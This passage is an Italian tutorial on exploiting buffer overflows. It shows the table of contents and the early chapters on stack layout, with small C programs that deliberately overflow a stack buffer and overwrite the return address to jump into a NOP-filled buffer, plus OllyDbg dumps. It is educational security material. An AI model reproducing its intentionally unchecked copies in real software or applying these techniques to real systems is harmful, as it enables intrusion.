system exploitation using buffer overflow

193
__________________________________________________ / / \ \ | | .:: System exploitation using buffer overflow ::. | | \ \__________________________________________________/ / ~ Matteo Tosato © 2010-11 ~ Rev. 2.2 - Last update: 19/07/2011

Upload: matteo-tosato

Post on 15-Feb-2016

340 views

Category:

Documents


6 download

DESCRIPTION

Un tutorial strutturato sulla vulnerabilità 'buffer overflow'. Da una prima analisi della struttura di un processo, alle moderne tecniche utilizzate per bypassare le protezioni dei moderni sistemi operativi.

TRANSCRIPT

Page 1: System exploitation using buffer overflow

__________________________________________________

/ / \ \

| | .:: System exploitation using buffer overflow ::. | |

\ \__________________________________________________/ /

~ Matteo Tosato © 2010-11 ~

Rev. 2.2 - Last update: 19/07/2011

Page 2: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 2 di 193

..:: A chi sa ascoltare ::..

Page 3: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 3 di 193

..:: Indice:

0x00) Premessa

SEZIONE 1 ~ Introduzione e tecniche di base, linux-oriented:

0x01) Uno sguardo al compilatore, memoria e stack.

0x02) Allocazione di buffer

0x03) Corruzione dello stack

0x04) Esecuzione di codice dallo stack sovrascritto

0x05) Esecuzione di shellcode

0x06) Byte NOP

0x07) Realizzare una shellcode

0x08) Shellcode avanzate

0x09) Esempio exploit remoto

0x0a) L’analisi del codice sorgente

0x0b) Analisi tramite reverse engineering

0x0c) Bugs relativi al formato delle stringhe

0x0d) Bugs relativi all’allocazione nello heap

SEZIONE 2 ~ Argomenti avanzati, linux-oriented:

0x0e) Linux, exploit oggi, PaX e StackGuard

0x0f) Altri punti di vista

0x10) Sezioni .plt e .got

0x11) Return-oriented Programming, introduzione

0x12) Return-oriented shellcode

0x13) Exploit dei sistemi protetti

0x14) Polimorfismo - IDS/IPS evasion

SEZIONE 3 ~ Windows exploiting:

0x15) Windows e il “dll hell”

0x16) Stack based overflow exploit

0x17) SEH based exploit

0x18) Sistemi di sicurezza per Microsoft Windows

0x19) Tecniche miste e ROP

0x1a) Conclusioni ?

0x1b) Riferimenti bibliografici

Il testo può essere distribuito ma non modificato, l’utilizzo di contenuto in altri testi deve

sottostare alle condizioni di licenza.

Matteo Tosato. [email protected]

Attribution-NonCommercial-ShareAlike 3.0 Unported (CC BY-NC-SA 3.0)

Page 4: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 4 di 193

0x00] Premessa

Questo testo costituisce una introduzione alla vulnerabilità ‘buffer overflow.

Ho cercato di presentare gli argomenti in modo sequenziale strutturando il documento come

tutorial.

Per comprendere il testo è sufficiente conoscere l'assembly, il C ed avere un minimo di

conoscenze sull’architettura si un sistema operativo.

La vulnerabilità della classe ‘buffer overflow’ è molto più diffusa di quanto si pensi. E' un

bug, un errore introdotto il più delle volte dal programmatore, ma non solo, anche da una

libreria difettosa. Gli attacchi tramite questa tecnica sono stati migliaia e continuano ad

essere tanti.

Ogni precisazione, domanda, curiosità, suggerimento è ben gradita. La condivisione di conoscenza

e opinioni è una delle più grandi risorse di cui disponiamo.

+ Strumenti:

- gcc 4.3.2 Linux

- gdb 6.8-debian Linux

- objdump GNU 2.18.0 Linux

- OllyDbg 10 Win

- Dev-C++ or Code::Blocks Win

- Immunity debugger 1.8x Win

- lcc-win32 Win

- Notepad++ 5.x Win

- NetBeans IDE

- Komodo edit

- Active Perl / python

- metasploit framework

- Ruby

- your brain ;)

0x01] (Arch: NT) – Uno sguardo al compilatore, memoria e stack.

Up

Per iniziare la nostra trattazzione sui buffer oeverflow, ripercorriamo velocemente alcune basi

sulle fasi della compilazione e su come il sistema operativo organizza la memoria. Questa

carrellata sarà molto veloce in quanto non è un obiettivo di questo testo affrontare tutte le

basi necessarie in modo completo.

Quando si scrive codice si utilizzano di fatto caratteri ASCII, interpretabili da un certo

compilatore, questo è un ‘parser’ per un dato linguaggio. Ovvero, è un programma in grado di

riconoscere i costrutti del linguaggio e di tradurli in un linguaggio più a basso livello, il

linguaggio del processore. Chiamato codice macchina.

Il seguente schema illustra queste fasi:

Page 5: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 5 di 193

Dopo queste operazioni si ottiene un codice che però è privo dei comandi di interfacciamento con

l’hardware. I file che contengono questo tipo di codice sono denominati ‘file oggetto’,

tipicamente hanno estensione “.obj” o “.o”.

Il linker è un’altro programma, incaricato di collegare il codice con i vari moduli a cui il

prgramma fa riferimento (sottoprogrammi o librerie).

Ad esempio le libc sono raccolte di codice che vengono collegate agli eseguibili. Solo dopo

questo procedimento possono essere utilizzate funzioni implementate in file esterni.

Il processo di collegamento può essere di tipo statico (static linking) o dinamico (dynamic

linking). Il primo specifica che il codice di cui necessita l’eseguibile viene copiato dalla

libreria all’eseguibile per intero, in questo modo si ottiene codice più indipendente, che non

necessita di file esterni. Allo stesso tempo si ha però un file di dimensione maggiore, dato che

contiene tutto il codice necessario.

Il linking dinamico farà risparmiare una quantità notevole di spazio su disco, ma il nostro file

eseguibile possiederà una serie di dipendenze verso altri file. Se una libreria utilizzata

dall’eseguibile viene cancellata, questo non funziona più, un eseguibile collegato dinamicamente

contiene solo dei riferimenti che indicano al loader quali librerie caricare a runtime, la

strategia adottata per specificare i riferimenti è dipendente dal formato del file eseguibile.

Solitamente si preferisce il collegamento dinamico, dato che i programmi moderni hanno centinaia

di dipendenze fra l’altro condivise con altri programmi, pertanto sarebbe impensabile avere

codice collegato solo staticamente.

Page 6: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 6 di 193

Si pensi a windows e il suo sistema di DLL. Queste sono moltissime e rappresentano il cuore del

sistema operativo.

La gestione della memoria avviene in modo diverso a seconda dell’architettura, ma per i nostri

scopi possiamo generalizzare ad un unico modello comune.

Sappiamo che la memoria centrale di un calcolatore (i moduli che si inseriscono a fianco del

processore) può arrivare anche ad alcuni Giga byte di dimensione. Questi moduli hanno locazioni

indirizzate fisicamente, solitamente il sistema operativo implementa un modo con il quale questi

indirizzi fisici vengono gestiti. Dal lato utente, non vedremo mai questi indirizzi fisici, il

sistema operativo tiene per se tali indirizzi e crea per ogni processo che avvia un ‘layout’ di

indirizzi virtuali.

Dal lato della programmazione, sappiamo che quando si allocano variabili locali all’interno di

funzioni, queste vengono allocate nell'area di stack. Questa è una frazione della parte di

memoria dedicata ad un processo la quale funge da parcheggio di dati che il programma utilizza

durante l'esecuzione.

Quando un processo viene caricato in memoria centrale il sistema operativo fa in modo che egli

abbia l'impressione di avere quanta più memoria vuole disponibile. Questo è possibile appunto

attraverso degli "indirizzi virtuali". Gli indirizzi virtuali sono relativi al processo

soltanto. Pertanto nel medesimo istante due processi possono avere una variabile allocata

all'indirizzo virtuale 0x1000.

Questa prodezza dei sistemi operativi è possibile grazie alla "memoria virtuale e alla

paginazione". E' abbastanza semplice. La memoria viene suddivisa in blocchi di N Kbytes,

L'indirizzo di questi blocchi rinominati pagine è memorizzato in una tabella. Questa si chiama

"Page Table".

Il processo utilizzerà al suo interno solo indirizzi virtuali, allora il tipo di indirizzi

inviati sul BUS saranno virtuali. Come è possibile che questi vengano interpretati correttamente

dalla CPU? In effetti la CPU non sa assolutamente nulla degli indirizzi virtuali per quel

determinato processo, è a conoscenza soltanto di indirizzi fisici della memoria centrale, qui

entra in gioco allora un particolare componente detto MMU (Memory Management Unit), questo

solitamente si trova all'interno del processore stesso. Ha il compito di gestire le chiamate

agli indirizzi del processore verso la memoria.

La MMU traduce l'indirizzo virtuale in fisico per la CPU. L'indirizzo virtuale è così composto:

i primi 20 bit identificano la pagina richiesta, i restanti 12 bit indicano l'offset all'interno

della pagina. L'indirizzo finale ottenuto è l'indirizzo fisico di memoria.

Page 7: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 7 di 193

Un indirizzo di 20 bit lascia presupporre ad un numero di entry per la page table pari a 220.

Solitamente è lunga 32 bit, ma può variare a seconda del S.O.

Il campo più importante è il "Page frame number" che identifica la pagina. Come prima cosa viene

utilizzato questo valore per mappare la pagina richiesta, viene controllato il valore del bit di

presenza, se questo è settato la pagina è valida e può essere utilizzata, se è 0 la pagina non è

in memoria in quel momento. L'accesso richiesto in questo caso produce una segnalazione di "page

fault". I bit "protection" identificano il tipo di accesso permesso, lettura scrittura ecc.. I

campi modified e referenced vengono utilizzati per effettuare il tracking di utilizzo della

pagina. Quando la pagina viene modificata viene settato il flag relativo ed il sistema operativo

sa che dovrà rimpiazzare quella presente su disco perchè è cambiata. Il campo referenced ha un

ruolo importante per gli algoritmi di rimpiazzamento delle pagine.

Può anche essere che la pagina richiesta non si trovi in memoria ma su disco, nel file paging di

windows o la partizione di swap di linux. A questo punto il sistema operativo in modo molto più

dispendioso, carica la pagina dal disco verso la memoria centrale. Mi fermerei qui tanto per non

addentrarci troppo nei particolari. Potreste approfondire l'argomento andandovi a vedere anche

in che cosa consiste il TLB (Translation lookside buffer) che velocizza le operazioni di

mappatura della memoria.

Dal punto di vista del programmatore in “user-space”, avremo sempre a che fare con il layout di

indirizzi virtuali.

La disposizione tipica dello spazio di memoria dedicato ad un processo è la seguente:

Ora è essenziale capire come i nostri programmi vengono eseguiti in memoria, per farlo possiamo

considerare la traduzione in assembly del codice.

Ho deciso di non affrontare i linguaggi assembly, C e l’architettura dei sistemi operativi dal

punto di vista sia teorico che pratico perché per questi argomenti, esiste già una corposa serie

di risorse disponibili on-line e completamente gratuite. Pertanto non ho ritenuto opportuno

inserire qui alcun capitolo dedicato.

In fondo al manuale, fra i riferimenti bibliografici ho inserito alcune delle risorse on-line di

mia conoscenza, utili per colmare le eventuali lacune per quanto riguarda le basi necessarie ad

affrontare questo testo.

Cominciamo quindi nello scrivere il programma seguente, utilizzeremo ollydbg sotto windows per

Page 8: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 8 di 193

l'analisi.

--------- test01.c ------------------------

#include <stdio.h>

#include <stdlib.h>

void function(int a, int b, int c)

{

// [.....]

// without instructions

}

int main(int argc, char *argv[])

{

if(argc < 3) exit(-1);

int a = atoi(argv[1]);

int b = atoi(argv[2]);

int c = atoi(argv[3]);

function(a,b,c);

}

--------- test01.c END ---------------------

Vediamo la traduzione delle funzioni function() e main() in codice macchina e le modifiche

apportate allo stack.

In primis, non troviamo niente altro che il prologo e l'epilogo, questi preparano lo stack per

contenere le variabili e gli indirizzi relativi alla funzione chiamata.

00401290 /$ 55 PUSH EBP >>> Prologo

00401291 |. 89E5 MOV EBP,ESP >>>

00401293 |. 5D POP EBP <<< Epilogo

00401294 \. C3 RETN <<<

La funzione che segue è invece main:

00401295 /$ 55 PUSH EBP > avremo ebp in cima allo stack

0022FF48 /0022FF78

00401296 |. 89E5 MOV EBP,ESP

0022FF4C |004011E7 RETURN to stack_le.004011E7 from stack_le.00401295

00401298 |. 83EC 28 SUB ESP,28

0022FF50 |00000001

0040129B |. 83E4 F0 AND ESP,FFFFFFF0

0022FF54 |002E1078

0040129E |. B8 00000000 MOV EAX,0

......

004012A3 |. 83C0 0F ADD EAX,0F

004012A6 |. 83C0 0F ADD EAX,0F

004012A9 |. C1E8 04 SHR EAX,4

004012AC |. C1E0 04 SHL EAX,4

004012AF |. 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX

Page 9: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 9 di 193

004012B2 |. 8B45 F0 MOV EAX,DWORD PTR SS:[EBP-10]

004012B5 |. E8 B6040000 CALL stack_le.00401770 > valore nello stack! >>>> STACK:

004012BA |. E8 51010000 CALL stack_le.00401410 > valore nello stack! ha sottratto ben 10*4 bytes

004012BF |. 837D 08 02 CMP DWORD PTR SS:[EBP+8],2 ; |

004012C3 |. 7F 0C JG SHORT stack_le.004012D1 ; |

004012C5 |. C70424 FFFFFFF>MOV DWORD PTR SS:[ESP],-1 ; |

004012CC |. E8 9F050000 CALL <JMP.&msvcrt.exit> ; \exit > nel caso sbaglio il numero degli

004012D1 |> 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; ||| argomenti in ingresso, esce.

004012D4 |. 83C0 04 ADD EAX,4 ; |||

004012D7 |. 8B00 MOV EAX,DWORD PTR DS:[EAX] ; |||

004012D9 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |||

004012DC |. E8 7F050000 CALL <JMP.&msvcrt.atoi> ; ||\atoi

004012E1 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX ; ||

004012E4 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; ||

004012E7 |. 83C0 08 ADD EAX,8 ; ||

004012EA |. 8B00 MOV EAX,DWORD PTR DS:[EAX] ; ||

004012EC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; ||

004012EF |. E8 6C050000 CALL <JMP.&msvcrt.atoi> ; |\atoi

004012F4 |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX ; |

004012F7 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; |

004012FA |. 83C0 0C ADD EAX,0C ; |

004012FD |. 8B00 MOV EAX,DWORD PTR DS:[EAX] ; |

004012FF |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |

00401302 |. E8 59050000 CALL <JMP.&msvcrt.atoi> ; \atoi > tutto relativo alle funzioni atoi()

00401307 |. 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX

0040130A |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]

0040130D |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX

00401311 |. 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]

00401314 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX

00401318 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]

0040131B |. 890424 MOV DWORD PTR SS:[ESP],EAX

0040131E |. E8 6DFFFFFF CALL stack_le.00401290

Al momento della chiamata alla call ecco come si presenta lo stack (gli argomenti che ho passato

in linea di comando sono 1 4 e 6:

0022FF10 00000001 <<< 1° argomento

0022FF14 00000004 <<< 2° argomento

0022FF18 00000006 <<< 3° argomento

0022FF1C 004012BA RETURN to stack_le.004012BA from stack_le.00401770

A questo punto viene chiamata la procedura.

L'indirizzo di ritorno viene salvato nello stack, in modo sia possibile più tardi recuperarlo e

ritornare alla funzione chiamante.

0022FF0C 00401323 RETURN to stack_le.00401323 from stack_le.00401290

0022FF10 00000001 <<< 1° argomento

0022FF14 00000004 <<< 2° argomento

0022FF18 00000006 <<< 3° argomento

0022FF1C 004012BA RETURN to stack_le.004012BA from stack_le.00401770

Quando la funzione ha finito:

00401323 |. C9 LEAVE

00401324 \. C3 RETN

Page 10: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 10 di 193

0x02] (Arch: NT) – Allocazione di buffers

Up

--------- test02.c ------------------------

#include <stdio.h>

#include <stdlib.h>

#define LARGE_SIZE 64

#define SMALL_SIZE 32

#define NOP 0x90

int main(int argc, char *argv[])

{

int c;

char large_buffer[LARGE_SIZE];

char small_buffer[SMALL_SIZE];

for(c=0;c<LARGE_SIZE;c++)

large_buffer[c] = NOP;

for(c=0;c<SMALL_SIZE;c++)

small_buffer[c] = NOP;

}

--------- test02.c END ---------------------

In questo secondo caso abbiamo tutto nella una funzione principale main.

Nella prima parte di questo listato di assembly il sistema alloca lo spazio che abbiamo

richiesto per i due buffer.

00401290 /$ 55 PUSH EBP

00401291 |. 89E5 MOV EBP,ESP

00401293 |. 81EC 88000000 SUB ESP,88

00401299 |. 83E4 F0 AND ESP,FFFFFFF0

0040129C |. B8 00000000 MOV EAX,0

004012A1 |. 83C0 0F ADD EAX,0F

004012A4 |. 83C0 0F ADD EAX,0F

004012A7 |. C1E8 04 SHR EAX,4

004012AA |. C1E0 04 SHL EAX,4

004012AD |. 8945 84 MOV DWORD PTR SS:[EBP-7C],EAX

004012B0 |. 8B45 84 MOV EAX,DWORD PTR SS:[EBP-7C]

004012B3 |. E8 88040000 CALL stack_le.00401740

004012B8 |. E8 23010000 CALL stack_le.004013E0

004012BD |. C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0

Successivamente 2 cicli riempiono i due buffer utilizzando il nostro costrutto con il valore NOP

per il massimo della loro capacità, otteniamo i due buffer pieni.

004012C4 |> 837D F4 3F /CMP DWORD PTR SS:[EBP-C],3F

004012C8 |. 7F 13 |JG SHORT stack_le.004012DD

004012CA |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8]

004012CD |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C]

004012D0 |. 83E8 50 |SUB EAX,50

004012D3 |. C600 90 |MOV BYTE PTR DS:[EAX],90

Page 11: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 11 di 193

004012D6 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C]

004012D9 |. FF00 |INC DWORD PTR DS:[EAX]

004012DB |.^EB E7 \JMP SHORT stack_le.004012C4

004012DD |> C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0

004012E4 |> 837D F4 1F /CMP DWORD PTR SS:[EBP-C],1F

004012E8 |. 7F 13 |JG SHORT stack_le.004012FD

004012EA |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8]

004012ED |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C]

004012F0 |. 83E8 70 |SUB EAX,70

004012F3 |. C600 90 |MOV BYTE PTR DS:[EAX],90

004012F6 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C]

004012F9 |. FF00 |INC DWORD PTR DS:[EAX]

004012FB |.^EB E7 \JMP SHORT stack_le.004012E4

Non appena i due cicli finiscono, EIP contiene 004012FD, ovvero punterà all'istruzione

successiva:

004012FD |> C9 LEAVE

e poi

004012FE \. C3 RETN

all'istante prima di LEAVE lo stack avrà questa conformazione:

0022FEB0 00000000

0022FEB4 00000000

0022FEB8 007D1568

0022FEBC 004012B8 RETURN to stack_le.004012B8 from stack_le.00401740

0022FEC0 76F398CD RETURN to msvcrt.76F398CD from ntdll.RtlFreeHeap

0022FEC4 007D0000

0022FEC8 00000000

0022FECC 00000010

0022FED0 90909090 >\**********************************************************

0022FED4 90909090 >|

0022FED8 90909090 >|

0022FEDC 90909090 >| >> Questo è il buffer più piccolo.

0022FEE0 90909090 >|

0022FEE4 90909090 >|

0022FEE8 90909090 >|

0022FEEC 90909090 >|**********************************************************

0022FEF0 90909090 >|**********************************************************

0022FEF4 90909090 >|

0022FEF8 90909090 >|

0022FEFC 90909090 >|

0022FF00 90909090 >|

0022FF04 90909090 >|

0022FF08 90909090 >|

0022FF10 90909090 >| >> Questo è il buffer più grande.

0022FF14 90909090 >|

0022FF18 90909090 >|

0022FF1C 90909090 >|

0022FF20 90909090 >|

0022FF24 90909090 >|

0022FF28 90909090 >|

0022FF2C 90909090 >|

0022FF30 000000FC >|***********************************************************

Page 12: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 12 di 193

Questo comportamento avviene solo se allochiamo la memoria per i buffer entro la nostra

funzione, in "local scope."

Sarebbe stata completamente diversa la situazione se avessimo sistemato le dichiarazioni

all’esterno di main in questo modo:

char large_buffer[LARGE_SIZE];

char small_buffer[SMALL_SIZE];

int main(int argc, char *argv[])

{

int c;

.......

così sarebbe in .data, ovvero i buffer sarebbero allocati utilizzando un’altra regione di

memoria, l’heap.

Nello stack non troveremmo i codici "0x90". Per pratica provate a debuggare questa versione e

troverete subito la differenza.

0x03] (Arch: NT) - Corruzione dello stack

Up

--------- test03.c ------------------------

#include <stdio.h>

#include <stdlib.h>

#define SIZE 32

#define TOO_LARGE 48

#define NOP 0x90

int main(int argc, char *argv[])

{

int z;

char buffer[SIZE];

for(z=0;z<TOO_LARGE;z++)

buffer[z] = NOP;

}

--------- test03.c END ---------------------

Nella funzione proposta è presente un errore grossolano circa il riempimento del buffer

precedentemente allocato.

Nel codice cerco di riempire il buffer più della sua dimensione massima consentita, provocando

così il suo traboccamento!

Che riverserà byte nello stack, nello spazio contiguo al buffer.

prima di vedere lo stack, ecco la traduzione in assembly:

00401290 /$ 55 PUSH EBP

00401291 |. 89E5 MOV EBP,ESP

00401293 |. 83EC 48 SUB ESP,48

00401296 |. 83E4 F0 AND ESP,FFFFFFF0

Page 13: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 13 di 193

00401299 |. B8 00000000 MOV EAX,0

0040129E |. 83C0 0F ADD EAX,0F

004012A1 |. 83C0 0F ADD EAX,0F

004012A4 |. C1E8 04 SHR EAX,4

004012A7 |. C1E0 04 SHL EAX,4

004012AA |. 8945 C4 MOV DWORD PTR SS:[EBP-3C],EAX

004012AD |. 8B45 C4 MOV EAX,DWORD PTR SS:[EBP-3C]

004012B0 |. E8 6B040000 CALL mem_corr.00401720

004012B5 |. E8 06010000 CALL mem_corr.004013C0

004012BA |. C745 F4 000000>MOV DWORD PTR SS:[EBP-C],0

004012C1 |> 837D F4 2F /CMP DWORD PTR SS:[EBP-C],2F

004012C5 |. 7F 13 |JG SHORT mem_corr.004012DA

004012C7 |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8]

004012CA |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-C]

004012CD |. 83E8 30 |SUB EAX,30

004012D0 |. C600 90 |MOV BYTE PTR DS:[EAX],90

004012D3 |. 8D45 F4 |LEA EAX,DWORD PTR SS:[EBP-C]

004012D6 |. FF00 |INC DWORD PTR DS:[EAX]

004012D8 |.^EB E7 \JMP SHORT mem_corr.004012C1

004012DA |> C9 LEAVE

004012DB \. C3 RETN

Ora, la condizione dello stack all'istante in cui la CPU si trova sull'istruzione: “LEAVE a

004012DA”

0022FEF0 0022FED0 --->> cima dello stack

0022FEF4 00000002

0022FEF8 003F1568

0022FEFC 004012B5

0022FF00 049F6951

0022FF04 FFFFFFFE

0022FF08 757C98DA

0022FF0C 00000010

0022FF10 90909090 --->> Indirizzo ed inizio di buffer

0022FF14 90909090 *

0022FF18 90909090 *

0022FF1C 90909090 *

0022FF20 90909090 *

0022FF24 90909090 *

0022FF28 90909090 *

0022FF2C 90909090 * --- > Dimensione del buffer dichiarata: 32 bytes.

0022FF30 90909090 * > Traboccamento causato dall'errore che ho inserito.

0022FF34 90909090 * > cosa è accaduto? La scrittura del valore NOP è continuata oltre la memoria allocata

0022FF38 90909090 * > andando a sovrascrivere pericolosamente lo stack.

0022FF3C 00000091 > --->>>>> Mi sarei aspettato che la sovrascrittura dello stack avesse

0022FF40 /0022FF48 > continuato fino a 0022FF3C. Invece si blocca 4 bytes prima.

0022FF44 |757D9E34 > Durante il debug vediamo che la variabile 'z' è allocata

0022FF48 ]0022FF78 > a 0022FF3F. Lo straboccamento quando arriva lì scrive 0x90 in z.

0022FF4C |004011E7 > il ciclo successivo incrementa z (infatti vedete, in z c'è 0x91). A questo punto

0022FF50 |00000001 > si tenta la scrittura di buffer[0x91] con 0x90.

0022FF54 |003F1078 > &buffer[0x91] corrisponde ad una posizione non accessibile dal nostro programma.

0022FF58 |003F1568

0022FF5C |FFFFFFFF

0022FF60 |0022FF70

0022FF64 |757D15A0

0022FF68 |00400000

0022FF6C |003F1568

0022FF70 |00000000

0022FF74 |7FFD5000

0022FF78 ]0022FF88

0022FF7C |00401238

0022FF80 |00000001

0022FF84 |00000000

0022FF88 ]0022FF94

0022FF8C |770E1174 RETURN to kernel32.770E1174 >>>> Indirizzo di ritorno di main

Page 14: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 14 di 193

L’errore che il kernel ci presenta è "segmentation fault". Ed il programma viene terminato dal

sistema. (se fossimo in kernel-mode questo errore manderebbe in blocco l’intero computer)

Questo esempio è utile per comprendere il funzionamento dello stack e dei problemi causati dalla

mancanza di controllo durante le operazioni di copia con l'uso dei buffer.

Vale la pena perdere tempo a riguardarlo e provare a e debuggarlo per fissare i concetti.

0x04] (Arch: NT) - Esecuzione di codice dallo stack sovrascritto

Up

--------- test04.c ------------------------

#include <stdio.h>

#include <stdlib.h>

#define SIZE 128

// Per sicurezza allochiamo all'esterno di main le variabili e my_buffer che non devono

// essere toccate.

int i;

char my_buffer[] = ”\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90";

char large_string[192];

int main(int argc, char *argv[])

{

char buffer[SIZE]; //Il buffer

// Riempio completamente tutto il buffer large_string con l'indirizzo di buffer:

long *long_ptr = (long*)large_string;

for(i=0;i<54;i++)

*(long_ptr+i) = (int)buffer;

// Posizioniamo la sequenza di 0x90 all'inizio di buffer:

for(i=0; i<strlen(my_buffer);i++)

large_string[i] = my_buffer[i];

// L'indirizzo di ritorno viene sovrascritto con l'indirizzo di buffer, che contiene il nostro

// codice che viene eseguito:

for(i=0;i<192;i++)

buffer[i] = large_string[i];

}

--------- test04.c END ---------------------

Per fare questo esempio ho allocato fuori da main le variabili che non devono essere

sovrascritte, un'altra soluzione potrebbe essere quella di dichiararle dopo di ‘buffer’. A

Page 15: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 15 di 193

differenza del passo precedente, dove andavamo a sovrascrivere lo stack senza pensarci, andando

a finire in una zona di memoria in cui non potevamo andare, questa volta mi sono soffermato ad

analizzare bene lo stack premeditando ciò che sarebbe successo sovrascrivendo punti precisi.

La prima cosa che main fa è allocare ‘SIZE’ bytes nello stack (buffer).

Ho poi preso l'indirizzo di buffer e l'ho copiato nella stringa più larga di 192-128 bytes

rispetto buffer, dichiarata all'esterno di main (large_string).

A questo punto inserisco in testa a large_string la mia stringa my_buffer, anche essa allocata

fuori da main, contiene una serie di codici esadecimali interpretabili dalla CPU direttamente.

L'ultimo spezzone di main è la chiave di tutto. Il ciclo copia large_string in buffer, ma come

sapete, buffer è più piccola di large_string, quindi ci sono ben 64 bytes che straboccano da

buffer e vengono copiati nello stack contiguamente a buffer.

Quindi proseguendo nella copia l'indirizzo di ritorno di main posto in precedenza nello stack

viene sovrascritto con l'indirizzo di buffer.

Ora, il programma prosegue e main arriva all'istruzione RET, ovvero di ritorno. Qui viene

prelevato il valore puntato da ESP nello stack, il quale dovrebbe corrispondere all’indirizzo di

ritorno della funzione chiamata. Ma siccome abbiamo sovrascritto lo stack, tale locazione di

conterrà l'indirizzo del nostro buffer.

Che succede a questo punto? Semplice, EIP viene riempito con l'indirizzo di my_buffer e la CPU

salta alla prima istruzione del nostro array. In parole spicce, questa è la tecnica su cui si

basano gli attacchi che sfruttano gli errori di gestione dei buffer.

Nell'esempio ho riempito my_buffer di sequenze NOP (opcode 0x90), ovvero "nessuna operazione",

in questo caso la CPU procede senza fare nulla ritrovandosi poi in una zona di memoria che

contiene valori inadeguati causando un errore "memory exception".

Se io avessi riempito my_buffer di una qualunque altra sequenza di OPCODE, la CPU avrebbe

eseguito. E' possibile riempire my_buffer con qualsiasi sequenza di OPCODE, se la sequenza è

stata prodotta correttamente, il codice viene eseguito, di qualsiasi natura esso faccia parte.

Un programma con un errore del genere, se scoperto, può essere utilizzato per aprire backdoor

oppure semplicemente provocare un DoS.

Non riporto il disassemblato, passiamo subito a dare un'occhiata allo stack,

prima dell'ultimo ciclo di copia:

0022FE80 00402000 < Testa dello stack

0022FE84 0022FDBC

0022FE88 00891568

0022FE8C 004012BE

0022FE90 7732D74D

0022FE94 0485E61A

0022FE98 FFFFFFFE

0022FE9C 7736316F

0022FEA0 77362D68

0022FEA4 00891058

[...]

0022FF2C 00000104

0022FF30 000000FC

0022FF34 005D1FF8

0022FF38 0000003F

0022FF3C 00000002

0022FF40 /0022FF48

Page 16: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 16 di 193

0022FF44 |757D9E34

0022FF48 ]0022FF78

0022FF4C |004011E7 < RETURN to mem_corr.004011E7 from mem_corr.00401290

La maggior parte dello stack è occupato dall'allocazione di buffer[], nella prossima videata

potremo anche vedere dove precisamente troviamo l'indirizzo di buffer, dove inizia la copia del

nostro ciclo, dove l'allocazione di buffer termina ed infine la zona che andiamo a

sovrascrivere.

Lo stack durante il ciclo di copia al loop numero SIZE, ovvero la dimensione di buffer:

0022FE80 00402000 mem_corr.00402000

0022FE84 0022FDBC

0022FE88 00891568

0022FE8C 004012BE RETURN to mem_corr.004012BE from mem_corr.004017C0

0022FE90 7732D74D ntdll.7732D74D

0022FE94 0485E61A

0022FE98 FFFFFFFE

0022FE9C 7736316F RETURN to ntdll.7736316F from ntdll.77356BFD

0022FEA0 77362D68 RETURN to ntdll.77362D68 from ntdll.77362D72

0022FEA4 00891058

0022FEA8 00891060

0022FEAC 00000010

0022FEB0 00000000

0022FEB4 00000000

0022FEB8 00891058

0022FEBC 00404070 mem_corr.00404070

0022FEC0 90909090 << Lasciando perdere la parte sopra, in questo punto ovvero 0022fec0 inizia buffer, con la sequenza

